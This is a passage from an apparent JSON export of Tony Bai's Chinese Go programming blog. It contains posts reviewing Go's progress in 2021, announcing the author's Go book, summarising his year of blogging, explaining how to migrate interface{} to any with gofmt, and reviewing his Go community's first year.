1.18版本发布之前尽可能多地找出版本中存在的bug。\n二. Go当前状态 经过一年多的发展与演化，Go语言当前的状态究竟如何呢？我们通过几个角度来看一下。\nTIOBE排名上升一位 著名编程语言排名指数TIOBE近期发布了2021年各大主流编程语言最终排名：\n从上图可以看到，在2021年，Go从2020年终的第14名上升到第13名，继续保持稳健的发展节奏。并且TIOBE配文中认为，除了Swift和Go之外，尚不会有新的编程语言能迅速进入前3名甚至前5名。这样说明了对Go趋势的看好。\n在另外一份基于stackoverflow数据的编程语言排行榜redmonk上(仅2021上半年数据，下半年数据尚未发布)，Go保持稳定：\n职业教育市场对Go的“追捧”可见一斑，Go“钱途”看好 职业教育市场直接反映了就业市场的需求。今年，国内头部的职业教育，比如：极客时间、慕课网都在Go语言这块发力。慕课网有谢大(astaxie)策划，曹春晖(xargin)主讲的Go高级工程师实战营。\n极客时间更是上新多门Go语言相关专栏与课程，当然也包含笔者的“Go语言第一课”。在笔者与极客时间郭蕾总编的沟通中，郭总透露了极客时间对Go语言的几个判断：\n就目前我们的观察来看，Go语言正在加速向企业渗透，越来越多的企业开始用Go。 就目前我们的观察来看，越来越多的开发者考虑将Go语言作为第二门编程语言。 云原生已经成为趋势，而Go语言是其主要采用的语言。 腾讯、字节跳动、美团、阿里、快手等头部公司正在大力推广Go。 Go在国内的就业市场的情况也是越来越好，在年底的一份程序员薪资报告中，我们看到国内Go程序员的平均薪资排在榜首：\n这总体上也能反映出Go在国内就业市场的“钱途”还是不错的。\n大厂Go新闻/输出盘点 Gopher们或想学习Go的童鞋都十分关注大厂中Go语言的应用情况。不过大厂中编程语言的应用范围只能通过官方或其雇员在一些渠道发布的消息来确认。下面是2021年大厂Go新闻/输出开源产品的盘点，通过这些内容我们可以大致勾勒出Go在大厂的应用情况。\n腾讯 2021年初，腾讯官方发布《腾讯研发大数据报告》，在这份报告中，Go语言成为腾讯公司内部增速最快的语言：\n2021年腾讯对外输出的公共资料以及开源的Go项目也充分印证了这一点：\n《揭秘腾讯内部Go Modules Proxy服务》 《腾讯发布的Go语言代码安全指南》 《腾讯开源Go语言实现的百万级服务发现和治理中心北极星》 《腾讯开源的Kubernetes多集群管理和跨集群编排工具Clusternet》 《腾讯首个CNCF沙箱项目分布式边缘容器系统SuperEdge开源》 《腾讯开源的etcd一站式治理平台Kstone》 可以说腾讯近些年在Go上面的投入很大，产出也颇丰。\n字节跳动 字节跳动是国内大厂中拥抱Go的最积极的公司之一。从字节跳动的公开资料来看：\n字节跳动的技术体系以Go语言为主。根据最新的调查统计，公司里有超过55％的服务是采用Go的，排名第二的语言是前端的NodeJS，之后是Python、JAVA、C++，Rust也有一些使用。\n长期的Go实践让字节跳动内部积累的丰富的Go产品和经验，2021年字节也开启了对外开源之路，并且一次性放出若干基于Go的微服务框架与中间件产品，包括kitex、netpoll、thriftgo等。这些开源项目统一放在https://github.com/cloudwego下面了。\n腾讯和字节是拥抱Go的急先锋，其他大厂、独角兽也有一些Go应用的动作，比如：微软发布了Go语言简明教程、其开源的dapr也有持续的演化，并招聘高级工程师参与Go官方编译器、工具生态开发；阿里的sealer；七牛云发布的Go+等。\n国外的uber也是公开数据中使用Go打造服务最多的巨头公司，2021年uber也在其工程博客网站发布了一系列Go实践经验的深度文章，值得大家认真拜读和揣摩。\n除了上面大厂积极拥抱Go之外，小公司与初创公司也在积极探索Go的落地。只不过小公司数据不好采集，从圈子里、周边朋友、面试时了解的情况，用Go的小公司/初创公司越来越多了。究其原因还是那句话：Go语言是生产力与性能的最佳结合。这对小公司/初创公司而言就是真(省)金(人)白(省)银(机器)啊。 甚至Go已经渗透到新冠防疫领域，昨天得知河北移动支撑的流调系统的后端服务就是Go实现的。\n接下来，我们再来展望一下2022年Go的发展情况会怎样。\n三. Go语言2022展望 2022年，Go语言的最大事件就是2月份Go 1.18的发布以及Go泛型的伴随落地。泛型的加入势必会给Go社区带来巨大影响。随之而来的将是位于各个层次的Go包的重写或重构：底层库、中间件、数据结构/算法库、乃至业务层面。这一轮之后，Go社区将诞生有关于Go泛型编码的最佳实践，这些实践也会反过来为Go核心团队提供Go泛型演化与在标准库中应用的素材。\n但泛型在提升语言表现力的同时，也会带来Gopher们最不想看到的复杂性，也正因为如此，Go核心团队也一直在努力向社区传达“Go泛型使用的一般准则”，以告知大家哪种场景适合使用泛型来加强代码，哪些场合泛型是不合适的。尽力防止泛型语法被滥用。\n当然前面也说过，Go 1.18不仅仅是加入泛型，还有Go工作区模式以及原生支持fuzzing，前者是解决本地module开发与引用的方案，后者则为编写漏洞更少的代码提供了帮助。\n有泛型加持的Go语言，“吸粉能力”得到了加强，将进一步得到来自其他语言阵营程序员的青睐。相信在2022年后半段，Gopher数量以及Go语言的受关注度都会有一定的增长。\nGo泛型即将上路，也刚刚上路，离“完善”这个目标还有一定距离，就像go module一样，预计经过3-5个版本的打磨与优化，Go泛型才会真正成熟起来，并成为Go语言的又一柄利器。\n综上，2021年，Go厉兵秣马，强化自身；2022，伴随着泛型的东风，Go语言将开启自己的新征程。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强，欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/01/16/the-2021-review-of-go-programming-language/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/the-2021-review-of-go-programming-language-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/01/16/the-2021-review-of-go-programming-language\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/01/16/the-2021-review-of-go-programming-language\"\u003ehttps://tonybai.com/2022/01/16/the-2021-review-of-go-programming-language\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e由于日常忙工作，闲时忙\u003ca href=\"http://gk.link/a/10AVZ\"\u003e专栏\u003c/a\u003e，我早已策划的\u003cstrong\u003e2021年Go语言盘点\u003c/strong\u003e这篇文章一直拖到了2022年元旦之后才开始落笔。\u003c/p\u003e\n\u003cp\u003e2021年，\u003ca href=\"https://mp.weixin.qq.com/s/ycmFabQVfFeiCiJdcjvOTA\"\u003eGo迈过了其开源的第12个年头\u003c/a\u003e。虽然已经演进了10余年，但在编程语言这个领域中，Go依旧属于“小字辈”，仍处于快速的成长演化期。\u003c/p\u003e\n\u003cp\u003e纵观整个2021年，如果要用一句话来形容Go语言的发展，那就是\u003cstrong\u003e厉兵秣马，蓄势待发\u003c/strong\u003e。“厉兵秣马”这个成语的意思是把兵器磨快，把战马喂饱，形容做好战备，也比喻事前做好准备工作。那么2021年的Go究竟在为什么做准备呢？毫无疑问，它就是\u003cstrong\u003e2022年泛型语法特性的落地\u003c/strong\u003e。泛型既是Go社区最关注的语法特性，也是Go在语言特性方面的又一个“杀手锏”。\u003c/p\u003e","title":"2021年Go语言盘点：厉兵秣马强技能，蓄势待发新征程"},{"content":"\n本文永久链接 – https://tonybai.com/2022/01/15/go-programming-from-beginners-to-masters-is-published\n历时三年多编写的Go语言进阶类图书《Go语言精进之路：从新手到高手的编程思想、方法和技巧》系列1、2册终于在2021年12月17日出版了！\n2021年的最后一天，我收到了机械工业出版社华章分社编辑罗词亮老师从微信发来的成书照片，还有什么元旦礼物能比这个更美妙呢^_^。\n2022年元旦假期刚过，出版社便开始在各个线上线下渠道铺货，如今大家应该可以很容易地在各大电商网站以及微信读书、豆瓣读书等线上读书平台上看到这套**Go语言“小黄书”**的身影。\n并且我已经开始陆续收到一些热心读者的反馈：\n写下这篇博客，一来是为了记录一下这件对我个人很有意义的事情，二来也想通过这篇播客简要说说这本书的创作历程。\n接下来，我先来聊聊为什么要写这本书。\n一. 为什么要写这套书？ 首先，就像在书中前言中描述的那样，Go是一门特别容易入门的编程语言，无论是刚出校门的新手还是从其他编程语言转过来的老手，都可以在短时间内快速掌握Go语法并编写Go代码。但很多Go初学者的疑问是：Go入门容易，但精进难，怎么才能像Go开发团队那样写出符合Go思维和语言惯例的高质量代码呢？这个问题引发了我的思考。在2017年GopherChina大会上，我以演讲的形式初次尝试回答这个问题，但鉴于演讲的时长有限，很多内容没能展开，效果不甚理想。而这套书正是我对解答这个问题所做出的第二次尝试。\n其次，能有一本属于自己的高质量专著，一直是我个人的一个心愿。并且从过来人那了解到，真正完成一部原创的专著是一个很有挑战的事情，我也想通过编写此书挑战一下自己。\n最后，在决定写书的时候，我家大宝已经长大了，我也希望通过写书这个行动身体力行地给孩子树立一个正面的榜样。\n二. 始于200页小书，终成大部头 下面理一下时间线，回顾一下写书的整个过程。\n策划阶段 2018年元旦刚过，机械工业出版社华章公司副总编杨福川在微信联系到我，和我探讨一下是否可以写一本类似于“Effective Go”的书，前期机工社已经策划了Effective系列丛书，并出版了多种主流语言的版本，当时系列中的Go语言还处于空缺状态。当时我也正想系统写一些有关Go语言方面的内容，而杨总的idea和诚意打动了我，甚至承诺如果当时我的档期很满，可以把这个选题一直给我留着。最初我参考Effective C++等经典书目的篇幅，以为应该是写一个200多页纸的小书。\n2018年4月份，这本书的初步大纲通过出版社的审核，5月末与出版社签署了著书合同。不过当时的确很忙，和杨总也聊过，真正开始写作的时间可能会在2018年9月才能开始，因为当时恰逢与慕课网合作的“Kubernetes实战课”录制之际，实在抽不出时间写书。\n一延再延地写作 与出版社最初约定的交稿时间是2019年上旬交稿，但计划总是赶不上变化的^_^。\n2018年下旬，书籍创作正式开始。但上手写起来，才发现要想写出高质量的文稿，不付出时间与汗水是不行的。写书稿只是副业，书稿只能在下班后的空闲时间以及周末闲暇时间进行。并且我习惯于把一个知识点讲细讲透，这样每一节的篇幅都不小。因此，写作进展是很缓慢的，进度也是一再延期。出版社编辑老师虽然也偶尔催稿，但考虑到质量，杨总也没再时间上给我设置deadline。\n就这样，直到2020年11月20日，我才完成全部初稿的交付，交付初稿的规模最终定格在66节、近40万字的大部头。\n等排期与出版前的校对与修订 2021年4月份，编辑罗老师根据厚厚的初稿，反馈了第一稿审稿意见。\n2021年5月末，我完成了针对第一轮审稿意见的修订工作。\n2021年9月末，出版社完成集中编辑。\n之后进入后期的制作与最终修订阶段，多亏Go1兼容性规范，很多内容在审校修订阶段无需做任何更改，只需将Go的版本改成最新版本即可。\n最后，历时三年多编写的Go精进之路终于在2021年年末正式出版，并于2022年元旦后正式上架。\n三. FAQ 上线后陆续收到一些读者的问题，这里统一回复一下。\n本套书内容与专栏的内容重合度 2021年10月份，我与极客时间合作的《Go语言第一课》专栏正式上线。在极客时间后台，有很多学员问我本书与Go语言第一课的重合度如何。这里回答一下。“Go语言第一课”顾名思义，是面向Go语言入门的Go专栏，适合那些第一次学习编程语言的初学者或来自其他语言阵营第一次学习Go语言的开发人员。而这套书则更多面向有一定Go基础的开发人员或编程语言学习爱好者。这套书完全可与“Go语言第一课”搭配使用，学完第一课后，再来看这本书，事半功倍。\n当然两者内容完全没有重合也不是实情，在策划“Go语言第一课”大纲时，一些专家建议在课程中加入一些原理性的内容，这部分内容与这套书会有内容上的重叠，但讲解方法又有所不同。\n为什么不是上下册而是1、2册 由于书稿规模较大，装订成一本书已经不现实，于是根据出版社老师的建议，将此书分为两本。但为什么不是上下册，而是1、2册呢。这源于杨总的高瞻远瞩。如果使用上下册，意味着这套书就此“打住”，不会再有下文。但如果使用1、2册，在Go语言有新语法特性加入，或有新的思维、技巧时，我们可以通过第3、第4册来扩展这套书系(前提是：这套书1、2册卖的还不错哦^_^)。Go正处于快速的发展演化阶段，杨总的这个idea非常有实际意义。眼前2022年2月发布的Go 1.18版本就携带Go泛型语法落地，相信Go泛型落地后，Go的编程思维、编码风格和惯例都会有一定的变化，到时候，除了修订当前章节更新已有的内容，还可以通过后续分册来补充新增的内容。\n四. 致谢 首先还是感谢机械工业出版社给予我的这次著书的机会，感谢杨总的诚意、耐心与开放。在讨论封面设计时充分采纳了我的建议^_^。感谢编辑罗词亮老师在后期审稿与制作方面付出的努力，毕竟这是一部大部头著作，审稿与编辑付出的辛劳可想而知。\n感谢分时跃动技术VP、我的前同事郑晔老师的精彩推荐序，说实话，郑大的序中真是没少抬举我^_^。同时，我不止一次说过，郑大是我在程序员道路上的人生导师，我专研技术、持之以恒协作的引路人就是郑大。\n最后，不能免俗，我真得感谢我的老婆和大宝，在写作本书稿的过程中，恰逢老婆十月怀胎以及二宝出生，为了让我专心写作，老婆尽可能的独立带娃，大宝也帮我分担照顾二妹的工作，我对他们的亏欠是很多的。唯一让我宽慰的是当他们看到这本书出版后脸上的笑容以及对我的鼓励。\n恰逢2022年农历虎年春节前夕，谨以此书献给国内广大的Gopher们！也希望大家能支持我的这套书，套用一句经典的广告词：Gopher过年不收礼，收礼就收“小黄书”！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/01/15/go-programming-from-beginners-to-masters-is-published/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-is-published-0.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/01/15/go-programming-from-beginners-to-masters-is-published\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/01/15/go-programming-from-beginners-to-masters-is-published\"\u003ehttps://tonybai.com/2022/01/15/go-programming-from-beginners-to-masters-is-published\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e历时三年多编写的Go语言进阶类图书\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e《Go语言精进之路：从新手到高手的编程思想、方法和技巧》\u003c/a\u003e系列1、\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e2册\u003c/a\u003e终于在2021年12月17日出版了！\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-is-published-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e2021年的最后一天，我收到了机械工业出版社华章分社编辑罗词亮老师从微信发来的成书照片，还有什么元旦礼物能比这个更美妙呢^_^。\u003c/p\u003e","title":"Go语言精进之路：为Gopher们准备的“知识年货”"},{"content":"\n本文永久链接 – https://tonybai.com/2021/12/31/2021-blog-summary\n2021年对我来说是极其充实的一年。\n在这一年里，生活上的充实体现在带娃上。除了要带不到一岁的二宝，还要辅导大宝学习，陪大宝上补习班。\n工作中，由于我刚入行智能网联汽车这个行业，要学的东西很多，要做的东西也很很多，要解决的问题同样很多，每天都十分忙碌。\n业余时间，我还实现了“Go语言第一课”的极客专栏的上线，完成了一本Go进阶图书出版的前期准备工作，坚持Gopher部落星球的运营工作、坚持Gopherdaily(Gopher日报)的日更以及公众号iamtonybai的更新。\n在这样的忙碌状态下，2021年，我居然还写了60余篇博客！现在看来，时间真得是挤出来的。特别是下半年极客专栏上线后，我几乎每天仅能睡5-6个小时，这样持续高强度的工作、学习与输出让我的身体也“每况愈下”：患上了轻度腰托，心脏也不时出现症状。\n我快速翻看了今年这60多篇博客文章，多数是Go语言相关的，并且从访问量来看，也十分受大家欢迎。这里我根据阅读数量选出了2021年本播客最受欢迎的文章TOP10：\n《使用multipart/form-data实现文件的上传与下载》 《Go 1.17中值得关注的几个变化》 《通过实例理解Go标准库http包是如何处理keep-alive连接的》 《Go标准库http与fasthttp服务端性能比较》 《“能力越大，责任越大” – Go语言之父详解将于Go 1.18发布的Go泛型》 《一文搞懂Go语言的plugin》 《Go 1.16中值得关注的几个变化》 《http.Client的连接行为控制详解》 《Go 1.18新特性前瞻：Go工作区模式》 《Go语言第一课背后的那些事》 从剩下的文章中我也精选出一些对Go程序员十分有用的文章，列在这里，大家有时间可以看看：\n《Go语言学习技术路线图2021发布了》 《Go 1.18对泛型的支持策略》 《一文告诉你如何用好uber开源的zap日志库》 《通过实例理解Go逃逸分析》 《Rust vs. Go：为什么强强联合会更好》 《对Go 1.16 io/fs设计的第一感觉：得劲儿！》 《小厂内部私有Go module拉取方案》 《Go语言之父谈Go编程语言与环境》 《gRPC客户端的那些事儿》 《gRPC服务的响应设计》 《Ian Lance Taylor：Go泛型使用的一般准则》 《Go 1.18新特性前瞻：原生支持Fuzzing测试》 《Go经典阻塞式TCP协议流解析的实践》 《Go基于I/O多路复用的TCP协议流解析实践》 《Go中被闭包捕获的变量何时会被回收》 还有不到2个小时，2021即将过去! 2022年，Tony Bai博客会有更多关于Go、分布式系统、架构设计、云原生基础设施、中间件与服务等方面的文章呈现给大家，敬请期待！\n最后，祝大家2022元旦快乐，在新的一年里，身体倍儿棒，万事儿顺畅，事业蒸蒸上。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强，欢迎大家加入！\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/12/31/2021-blog-summary/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2021-blog-summary-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/12/31/2021-blog-summary\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/12/31/2021-blog-summary\"\u003ehttps://tonybai.com/2021/12/31/2021-blog-summary\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e2021年对我来说是极其充实的一年。\u003c/p\u003e\n\u003cp\u003e在这一年里，生活上的充实体现在\u003cstrong\u003e带娃\u003c/strong\u003e上。除了要带不到一岁的\u003ca href=\"https://daughter2.tonybai.com\"\u003e二宝\u003c/a\u003e，还要辅导\u003ca href=\"https://daughter.tonybai.com\"\u003e大宝\u003c/a\u003e学习，陪大宝上补习班。\u003c/p\u003e\n\u003cp\u003e工作中，由于我刚入行智能网联汽车这个行业，要学的东西很多，要做的东西也很很多，要解决的问题同样很多，每天都十分忙碌。\u003c/p\u003e","title":"2021年博客回顾与总结"},{"content":"\n本文永久链接 – https://tonybai.com/2021/12/18/replace-empty-interface-with-any-first-after-switching-to-go-1-18\n伴随着Go 1.18 beta1版本的发布，很多Gopher已经迫不及待地下载该版本并体验其中的新特性了！\nGo 1.18 beta1到手后，你想做的第一件事是什么呢？ 说到这里，很多人会问：这是什么梗？\n这个梗来自于Russ Cox在2021年12月1日对Go语言项目的一次commit：\n从commit log可以看出，这次change主要是将Go语言项目src目录下代码中的所有interface{}都替换为any。只要学过Go的小伙伴儿们都知道: interface{}在Go中被称为“空接口(empty interface)”，所有类型都实现了空接口interface{}，任意类型T的实例都可以赋值给空接口类型变量：\nvar t T // T可以是任意Go类型 var i interface{} = t var j interface{} = \u0026amp;t 那么为什么Go团队要在Go 1.18 beta1发布之前，将interface{}全部替换为any呢？any又是啥？我们翻看Go 1.18 beta1代码后，在builtin/builtin.go中找到了any类型的定义：\n// $GOROOT/src/builtin/builtin.go // any is an alias for interface{} and is equivalent to interface{} in all ways. type any = interface{} 我们看到any就是一个interface{}的type alias，它与interface{}完全等价。那为啥要增加any，换掉interface{}呢？我觉得主要还是考虑到Go 1.18加入泛型后的影响，看下面两个使用了泛型语法的函数声明：\nfunc f[T1 any, T2 comparable, T3 any](t1 T1, t2 T2) T3 { } func f[T1 interface{}, T2 comparable, T3 interface{}](t1 T1, t2 T2) T3 { } Go泛型增加了type parameter，如果在类型参数声明区域继续使用interface{}，我们看到，函数声明部分就会显得十分冗长，给开发者的感官体验上就不那么舒服。另外interface类型在Go 1.18引入泛型后，身兼另外一个职责：定义类型参数的约束(constraints)，使用any这样的名字与新职责更匹配。于是Go 1.18就引入了interface{}的type alias，并做了全局替换。\n当然这种事情有人爱，就有人反对：\n不过，我们也看到多数gopher还是喜欢any而不喜欢interface{}的“冗长”的。\n既然Go语言项目自身都这么做了，作为Gopher而言，我们有义务响应号召，在切换到Go 1.18开始就着手将代码中的interface{}统统换成any。那怎么换呢？简单的很！gofmt大法搞定一切！下面是具体步骤：\n查看当前项目下的interface{}使用情况 $find . -name \u0026#34;*.go\u0026#34;|xargs grep \u0026#34;interface{}\u0026#34; // 如要排除掉vendor $find . -name \u0026#34;*.go\u0026#34;|grep -v vendor|xargs grep \u0026#34;interface{}\u0026#34; 查看此次替换会影响到的源文件列表 $gofmt -l -r \u0026#39;interface{} -\u0026gt; any\u0026#39; . // 如要排除掉vendor $gofmt -l -r \u0026#39;interface{} -\u0026gt; any\u0026#39; .|grep -v vendor 实施全局替换 $gofmt -w -r \u0026#39;interface{} -\u0026gt; any\u0026#39; . // 如要排除掉vendor目录 $find . -name \u0026#34;*.go\u0026#34;|grep -v vendor|xargs gofmt -w -r \u0026#39;interface{} -\u0026gt; any\u0026#39; 注意：gofmt不会替换注释中的interface{}\n最后，可以使用下面名了检查替换情况：\n$find . -name \u0026#34;*.go\u0026#34;|xargs grep \u0026#34;interface{}\u0026#34; 一段时间后…..\n你可能觉得你有些“冲动”了！虽然Go 1.18支持any，但Go 1.17及之前的版本不支持啊，团队内部除非步调一致的全部升级到go 1.18，否则其他组员可能就无法编译你提交的用any换掉interface{}的代码了！怎么办？\n考虑到兼容Go 1.18之前直至Go 1.9版本，我们可以用条件编译来解决这个问题。看下面例子：\n// https://github.com/bigwhite/experiments/tree/master/emptyinterface2any $tree emptyinterface2any emptyinterface2any ├── any.go ├── demo ├── go.mod ├── main.go ├── pkg1 │ ├── any.go │ └── pkg1.go └── pkg2 ├── any.go └── pkg2.go 这个emptyinterface2any demo项目中，所有interface{}都换成了any。我们用go 1.18构建这个demo自然没有问题。但是如果用Go 1.17或之前的版本，那么就会得到“any未定义”的错误。为了兼容老版本，我们在每个包的下面都加入一个any.go文件：\n// https://github.com/bigwhite/experiments/tree/master/emptyinterface2any/any.go // +build !go1.18 //go:build !go1.18 package main type any = interface{} 我们看到在这个文件中，我们加入了编译约束指示信息，通过这些信息告诉编译器：这个源文件仅在Go 1.18版本之前的版本构建时才参与编译，Go 1.18编译时，不参与编译。这样当使用Go 1.17及之前的版本编译时，该文件参与编译，相当于我们自定义了一个any别名类型。\n这个方案适用于[Go 1.9，Go 1.17]范围内的Go版本，因为type alias语法是在Go 1.9版本中引入的。\n这下你可以无后顾之忧的提交你的代码了，虽然增加any.go并用编译约束的方式麻烦点^_^。不过这也是临时的，一旦全部迁移到Go 1.18以及后续版本，这些临时措施就可以撤掉了(删除所有any.go)。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强，欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/12/18/replace-empty-interface-with-any-first-after-switching-to-go-1-18/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/replace-empty-interface-with-any-first-after-switching-to-go-1-18-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/12/18/replace-empty-interface-with-any-first-after-switching-to-go-1-18\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/12/18/replace-empty-interface-with-any-first-after-switching-to-go-1-18\"\u003ehttps://tonybai.com/2021/12/18/replace-empty-interface-with-any-first-after-switching-to-go-1-18\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e伴随着\u003ca href=\"https://mp.weixin.qq.com/s/Zthy6IAxGC10Q7q2N3gqMQ\"\u003eGo 1.18 beta1版本的发布\u003c/a\u003e，很多Gopher已经迫不及待地下载该版本并体验其中的新特性了！\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/replace-empty-interface-with-any-first-after-switching-to-go-1-18-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003eGo 1.18 beta1到手后，\u003cstrong\u003e你想做的第一件事是什么呢\u003c/strong\u003e？ 说到这里，很多人会问：\u003cstrong\u003e这是什么梗\u003c/strong\u003e？\u003c/p\u003e","title":"切换到Go 1.18后的第一件事：将interface{}全部替换为any"},{"content":"\n本文永久链接 – https://tonybai.com/2021/12/17/gopher-tribe-first-anniversary-review\n简要复盘 12月15日早上，手机收到知识星球app的一条推送信息，提示我的星球“Gopher部落”迎来了第100位星友：\n我这才想起来Gopher部落星球已经创建满一年了。从上面的星球名片来看，准确来说是390多天。在这390多天中，我发表了528条主题，在每周的星球排行榜中也名列前茅，下面是知识星球周一推送的星球周报，我的战力处在在前20%^_^。\n经过这一年来的“试水”，Gopher部落聚集了100个星友，还有一些已关注但没有加入的星友，达到了我的预期。就我个人的精力而言，服务到300个星友是一个比较正常的状态，500个应该是天花板了，因此我也不求大，但求精。\n一年来，Gopher部落形成了基本的运作风格：主要通过分享原创文章的方式与大家互动，这也是我个人最擅长的。至于很多星球又弄直播，又搞其他互动，对我来说有些复杂，精力上可能也不足够。\n此外，我发现星球创建时的承诺基本都能兑现，但仍有遗憾，比如：我最想分享的关于Go+eBPF的话题，一直没能成型:(，2021对我来说是充实的一年，时间真得是挤出来的，这个我还得多多努力才是。\n在互动方面，也有所欠缺，这也可能是我以文章分享为主要形式而导致的。仅仅是分享文章互动，似乎没有调动起全员踊跃参与讨论的积极性，毕竟多数文章的覆盖面有局限，对于自己不熟悉的领域，很多星友选择“潜水”，因此，这也是一个我需要改进的点。\n我也认真思考了这一点。在twitter上很多人用thread方式发布一些比文章短，但比单条消息内容更丰富，组织更严密的内容，我后续考虑也借鉴这一点，希望大家也能通过thread充分的互动。当然知识星球也提供了一些互动方案：打卡、作业，这些我也希望能利用起来。\n问卷调查 本篇是Gopher部落星球的一个阶段性反思与总结，也十分期待大家能提供宝贵意见与建议。为了能更好服务部落内的星友，也为了更好地建设精品星球，为了能更好策划2022年Gopher部落的分享计划，我这里准备了一份给已加入的星友的问卷，希望已加入的星友抽出1-2分钟反馈一下：\n如果你尚未加入Gopher部落，也可以在问卷的第一页中选择“我尚未加入星球，我理想中的Gopher部落应该是这样的”，然后点击提交，在下一页写下你的想法。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/12/17/gopher-tribe-first-anniversary-review/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/gopher-tribe-first-anniversary-review-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/12/17/gopher-tribe-first-anniversary-review\"\u003e本文永久链接\u003c/a\u003e – \u003ca 